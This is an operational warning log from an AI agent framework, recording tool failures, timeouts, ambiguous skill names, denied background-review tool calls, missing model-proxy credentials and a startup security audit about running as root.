'replace' to merge overlapping entries into shorter ones or 'remove 2026-07-22 02:36:46,622 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (1.88s): {"output": "✗ Authentication Error\n Authentication expired. Run 'nlm login' in your terminal to re-authenticate. \nMCP users: the server should auto-detect the new credentials; if not, call the \nre 2026-07-22 02:36:49,278 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.63s): {"output": "", "exit_code": -15, "error": null} 2026-07-22 02:37:04,852 WARNING [20260721_190638_70472e] agent.tool_executor: Tool web_extract returned error (0.02s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 02:42:52,609 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (60.19s): {"output": "=== QUERY 4: ASEAN LMIS và bài học quốc tế ===\n\n[Command timed out after 60s]", "exit_code": 124, "error": null} 2026-07-22 02:43:58,627 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (60.18s): {"output": "=== QUERY 4 retry: ASEAN LMIS ===\n\n[Command timed out after 60s]", "exit_code": 124, "error": null} 2026-07-22 02:50:12,677 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (60.27s): {"output": "[Command timed out after 60s]", "exit_code": 124, "error": null} 2026-07-22 02:50:27,255 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (2.20s): {"output": "Traceback (most recent call last):\n File \"\", line 1, in \nKeyError: 'answer'", "exit_code": 1, "error": null} 2026-07-22 02:50:32,876 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (1.98s): {"output": "{\n \"status\": \"error\",\n \"error\": \"Google rejected the query (error code 16: UNAUTHENTICATED). This may indicate account-level restrictions on programmatic access. Try re-authenti 2026-07-22 02:51:45,982 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (60.20s): {"output": "[Command timed out after 60s]", "exit_code": 124, "error": null} [Tool loop warning: repeated_exact_failure_warning; count=2; terminal has failed 2 times with identical arguments. This lo 2026-07-22 03:41:13,714 WARNING tools.skills_tool: Skill name collision for 'research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 03:41:13,727 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.20s): {"success": false, "error": "Ambiguous skill name 'research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 03:54:35,338 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.18s): {"output": "000", "exit_code": 35, "error": null} 2026-07-22 03:54:58,680 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.18s): {"output": "# Funnel on:\n# - https://vmi3427693.tail8c1aaf.ts.net\n\nhttps://vmi3427693.tail8c1aaf.ts.net (Funnel on)\n|-- / proxy http://127.0.0.1:9121\n\n000", "exit_code": 35, "error": null} 2026-07-22 03:55:16,769 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (3.22s): {"output": "Available on the internet:\n\nhttps://vmi3427693.tail8c1aaf.ts.net/\n|-- proxy http://127.0.0.1:9121\n\nFunnel started and running in the background.\nTo disable the proxy, run: tailscale 2026-07-22 03:55:45,752 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.28s): {"output": "000", "exit_code": 35, "error": null} 2026-07-22 03:56:33,494 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (5.64s): {"output": "Available on the internet:\n\nhttps://vmi3427693.tail8c1aaf.ts.net/\n|-- proxy http://127.0.0.1:9121\n\nFunnel started and running in the background.\nTo disable the proxy, run: tailscale 2026-07-22 03:57:16,895 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool memory returned error (0.01s): {"success": false, "error": "Memory at 2,134/2,200 chars. Adding this entry (147 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-07-22 04:05:03,365 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 04:05:03,367 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.11s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 04:05:06,510 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 04:05:06,511 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.09s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-22 04:06:00,518 WARNING tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 04:06:00,666 WARNING [20260722_040555_84f560] agent.tool_executor: Tool skill_view returned error (0.12s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 04:06:05,695 WARNING tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 04:06:05,815 WARNING [20260722_040555_84f560] agent.tool_executor: Tool skill_view returned error (0.14s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-22 04:20:42,801 WARNING tools.delegate_tool: Subagent 0 appears stale (no progress for 15 heartbeat cycles, tool=) — stopping heartbeat 2026-07-22 04:33:06,917 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.69s): {"success": false, "error": "Skill 'research/policy-analyst' not found in active profile 'default'. Use skills_list() to see available skills."} 2026-07-22 04:33:08,997 WARNING [20260722_043257_d88856] agent.tool_executor: Tool terminal returned error (3.80s): {"output": "", "exit_code": 1, "error": null} 2026-07-22 04:33:10,839 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.07s): {"success": false, "error": "Skill 'research/policy-analyst' not found in active profile 'default'. Use skills_list() to see available skills."} 2026-07-22 04:33:37,519 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.05s): {"success": false, "error": "Refusing background curator patch for skill 'policy-analyst': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, or 2026-07-22 04:33:56,446 WARNING [20260722_043257_bcbc32] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "Foreground command uses '&' backgrounding. Use terminal(background=true) for long-lived processes, then run health checks and tests in follow-up terminal call 2026-07-22 04:34:06,475 WARNING [20260722_043257_bcbc32] agent.tool_executor: Tool terminal returned error (4.21s): {"output": "", "exit_code": 1, "error": null} 2026-07-22 04:34:17,411 WARNING [20260722_043257_d88856] agent.tool_executor: Tool web_extract returned error (0.07s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 04:34:21,317 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 04:34:21,318 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.06s): {"success": false, "error": "Ambiguous skill name 'research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 04:34:40,123 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: read_file. Only memory/skill tools are allowed."} 2026-07-22 04:34:43,068 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 04:34:43,069 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.06s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-22 04:34:52,396 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 04:34:52,397 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 04:34:54,687 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 04:34:54,688 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-22 04:34:59,122 WARNING tools.url_safety: Blocked request — DNS resolution failed for: pidswebs.pids.gov.ph 2026-07-22 04:34:59,130 WARNING [20260722_043257_bcbc32] agent.tool_executor: Tool web_extract returned error (0.04s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 04:34:59,141 WARNING [20260722_043257_bcbc32] agent.tool_executor: Tool web_extract returned error (10.02s): { "results": [ { "url": "https://pidswebs.pids.gov.ph/CDN/document/pidsdps2406.pdf", "title": "", "content": "", "error": "Blocked: URL targets a private or internal netw 2026-07-22 04:35:12,608 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 04:35:12,623 WARNING [20260722_043257_bcbc32] agent.tool_executor: Tool web_search returned error (3.66s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 04:36:07,462 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.09s): {"success": false, "error": "Skill 'research/research-critism' not found in active profile 'default'. Use skills_list() to see available skills."} 2026-07-22 04:36:20,183 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.06s): {"success": false, "error": "Refusing background curator patch for skill 'research-critism': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, o 2026-07-22 04:51:34,376 WARNING [cron_476c036bd728_20260722_044915] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "Tables: [('raw_items',), ('sqlite_sequence',), ('mentions',), ('alerts',), ('reports',)]\nTotal rows in raw_items: 537\nLast 5 rows in raw_items: [(1745, 'TikTok News', 2026-07-22 04:54:01,540 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 04:57:06,359 WARNING [cron_476c036bd728_20260722_044915] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_otaysb8d/script.py\", line 6, in \n print(os.listdir(\"./brand-monitoring/r 2026-07-22 04:57:08,763 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (1.42s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-22 04:57:33,279 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 04:57:47,680 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.04s): {"success": false, "error": "Refusing background curator patch for skill 'notebooklm-research': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-07-22 04:57:50,234 WARNING tools.skills_tool: Skill name collision for 'research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 04:57:50,275 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.17s): {"success": false, "error": "Ambiguous skill name 'research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 04:57:56,626 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator patch for skill 'notebooklm-research': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-07-22 04:58:45,647 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (1.39s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-22 04:58:51,736 WARNING [20260722_045849_f12ffc] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 04:58:51,737 WARNING [20260722_045849_f12ffc] agent.tool_executor: Tool skill_view returned error (0.08s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 04:58:53,664 WARNING [20260722_045849_f12ffc] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 04:58:53,665 WARNING [20260722_045849_f12ffc] agent.tool_executor: Tool skill_view returned error (0.08s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-22 04:59:09,330 WARNING [20260722_045849_f12ffc] agent.tool_executor: Tool terminal returned error (0.78s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-22 04:59:27,172 WARNING [20260722_045849_f12ffc] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-22 04:59:33,446 WARNING [20260722_045849_f12ffc] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "usage: hermes profile [-h]\n {list,use,create,delete,describe,show,alias,rename,export,import,install,update,info}\n ...\nhermes profile: error: a 2026-07-22 04:59:35,370 WARNING [20260722_045849_f12ffc] agent.tool_executor: Tool terminal returned error (0.59s): {"output": "usage: hermes profile show [-h] profile_name\nhermes profile show: error: the following arguments are required: profile_name", "exit_code": 2, "error": null} 2026-07-22 04:59:57,425 WARNING gateway.session: gateway.session: routing key 'agent:main:telegram:group:-1003707758328:18' -> 20260710_094439_1cb443b1 is ended in state.db but still live in sessions.json; dropping stale entry and recovering/recreating the session (#54878) 2026-07-22 05:00:40,295 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool execute_code returned error (0.14s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_qim_8e1o/script.py\", line 3, in \n r = terminal(\"docker exec 9router grep 2026-07-22 05:00:49,181 WARNING [20260722_050038_e30888] agent.tool_executor: Tool search_files returned error (0.24s): {"total_count": 0, "error": "Search failed: rg: regex parse error:\n (?:*9router*)\n ^\nerror: repetition operator missing expression"} 2026-07-22 05:00:55,808 WARNING [20260722_045849_ce8fb8] agent.tool_executor: Tool terminal returned error (1.41s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-22 05:01:59,833 WARNING [20260722_045849_ce8fb8] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 05:01:59,834 WARNING [20260722_045849_ce8fb8] agent.tool_executor: Tool skill_view returned error (0.08s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 05:02:01,223 WARNING [20260722_045849_ce8fb8] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: read_file. Only memory/skill tools are allowed."} 2026-07-22 05:02:03,218 WARNING [20260722_045849_ce8fb8] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 05:02:03,219 WARNING [20260722_045849_ce8fb8] agent.tool_executor: Tool skill_view returned error (0.12s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-22 05:02:05,419 WARNING [20260722_045849_ce8fb8] agent.tool_executor: Tool skill_manage returned error (0.04s): {"success": false, "error": "Refusing background curator patch for skill 'hermes-kanban': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, or s 2026-07-22 05:02:52,439 WARNING [20260722_045849_f12ffc] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-22 05:02:54,032 WARNING [20260722_050038_e30888] agent.tool_executor: Tool terminal returned error (1.00s): {"output": "/app/data/db/data.sqlite-wal\n/app/data/db/data.sqlite-shm\n/app/data/db/data.sqlite\n/app/data/db/data.sqlite.bak_profile-r-and-d_20260720_122553", "exit_code": 1, "error": null} 2026-07-22 05:03:02,778 WARNING [20260722_045849_f12ffc] agent.conversation_loop: Turn ended with pending tool result (agent may appear stuck). Turn ended: reason=unknown model=default api_calls=50/50 budget=50/50 tool_turns=49 last_msg_role=tool response_len=0 session=20260722_045849_f12ffc last_tool=terminal 2026-07-22 05:03:12,615 WARNING [20260722_050038_e30888] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill '9router-ops': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, or ski 2026-07-22 05:03:13,636 WARNING [20260721_060236_7c97850b] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-22 05:03:13,638 WARNING [20260721_060236_7c97850b] agent.conversation_loop: Retrying API call in 2.1171350706412837s (attempt 1/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-22 05:03:13,736 WARNING [20260722_050038_e30888] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=bg-review:127851630155456 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-22 05:03:13,737 WARNING [20260722_050038_e30888] agent.conversation_loop: Retrying API call in 2.3472895452929845s (attempt 1/3) thread=bg-review:127851630155456 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-22 05:03:19,166 WARNING [20260721_060236_7c97850b] agent.conversation_loop: API call failed (attempt 2/3) error_type=NotFoundError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=HTTP 404: No active credentials for provider: openai 2026-07-22 05:03:19,434 WARNING [20260722_050038_e30888] agent.conversation_loop: API call failed (attempt 2/3) error_type=NotFoundError thread=bg-review:127851630155456 provider=custom base_url=http://localhost:20128/v1 model=default summary=HTTP 404: No active credentials for provider: openai 2026-07-22 05:03:19,852 ERROR [20260722_050038_e30888] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-22 05:03:19,864 ERROR [20260721_060236_7c97850b] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-22 05:03:20,030 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_1:127851965699776 provider=custom base_url=http://localhost:20128/v1 model=default summary=HTTP 404: No active credentials for provider: openai 2026-07-22 05:03:20,324 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-22 05:10:45,856 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=HTTP 404: No active credentials for provider: openai 2026-07-22 05:10:46,166 ERROR [20260710_094439_1cb443b1] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-22 06:28:02,729 WARNING tools.skills_tool: Skill name collision for 'research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 06:28:02,804 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.51s): {"success": false, "error": "Ambiguous skill name 'research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 06:28:07,602 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator patch for skill 'policy-analyst': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, or 2026-07-22 06:38:22,357 WARNING [20260721_060236_7c97850b] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-22 06:38:22,362 WARNING [20260721_060236_7c97850b] agent.conversation_loop: Retrying API call in 2.025685769424228s (attempt 1/3) thread=hermes-gateway_0:127853235525312 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-22 06:38:55,206 WARNING gateway.run: Shutdown context: signal=SIGTERM under_systemd=yes parent_pid=1 parent_name=systemd loadavg_1m=0.65 parent_cmdline='/sbin/init' 2026-07-22 06:39:06,446 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-07-22 06:39:07,123 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-07-22 06:39:08,469 WARNING hermes.security_audit: Security posture audit found 1 issue(s) — review your deployment: 2026-07-22 06:39:08,469 WARNING hermes.security_audit: [security 1/1] Running as ROOT. The agent's terminal/file tools execute with full root privileges — a single prompt-injection or exposed endpoint is a full host compromise. Run Hermes as an unprivileged user (or in a sandboxed terminal backend / container with a non-root user). 2026-07-22 06:39:27,993 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Discovering Telegram API fallback IPs via DNS-over-HTTPS… 2026-07-22 06:39:28,169 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Connecting to Telegram (attempt 1/8)… 2026-07-22 06:39:30,149 WARNING hermes_plugins.feishu_platform.adapter: [Feishu] Unable to hydrate bot name from application info. Grant admin:app.info:readonly or application:application:self_manage so group @mention gating can resolve the bot name precisely. 2026-07-22 06:39:30,670 ERROR Lark: connect failed, err: 1000040351: Incorrect domain name 2026-07-22 06:47:01,063 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:01,076 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:01,128 WARNING tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:01,134 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:01,189 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:01,194 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:01,195 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:01,196 WARNING tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:38,042 WARNING [20260721_060236_7c97850b] tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:38,099 WARNING [20260721_060236_7c97850b] tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:38,202 WARNING [20260721_060236_7c97850b] tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:38,202 WARNING [20260721_060236_7c97850b] tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:38,316 WARNING [20260721_060236_7c97850b] tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:38,321 WARNING [20260721_060236_7c97850b] tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:38,324 WARNING [20260721_060236_7c97850b] tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-22 06:47:38,325 WARNING [20260721_060236_7c97850b] tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 06:50:05,581 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool terminal returned error (0.82s): {"output": "usage: hermes kanban [-h] [--board ]\n {init,boards,create,swarm,list,ls,show,assign,reclaim,reassign,diagnostics,diag,link,unlink,claim,comment,complete,edit,blo 2026-07-22 06:54:36,332 WARNING [20260722_064738_6139a4] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-22 06:56:53,197 WARNING [20260722_064738_6139a4] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "usage: hermes profile [-h]\n {list,use,create,delete,describe,show,alias,rename,export,import,install,update,info}\n ...\nhermes profile: error: a 2026-07-22 06:56:55,978 WARNING [20260722_064738_6139a4] agent.tool_executor: Tool terminal returned error (1.02s): {"output": "usage: hermes profile show [-h] profile_name\nhermes profile show: error: the following arguments are required: profile_name", "exit_code": 2, "error": null} 2026-07-22 06:59:04,621 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-22 06:59:18,200 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool terminal returned error (1.00s): {"output": "usage: hermes kanban edit [-h] --result RESULT [--summary SUMMARY]\n [--metadata METADATA]\n task_id\nhermes kanban edit: error: the follo 2026-07-22 07:00:31,605 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-22 07:00:36,076 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool terminal returned error (0.14s): {"output": "Traceback (most recent call last):\n File \"\", line 1, in \nsqlite3.OperationalError: no such table: tasks", "exit_code": 1, "error": null} 2026-07-22 07:01:01,198 WARNING [20260722_064738_6ac416] tools.skills_tool: Skill name collision for 'research:research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 07:01:01,200 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool skill_view returned error (0.24s): {"success": false, "error": "Ambiguous skill name 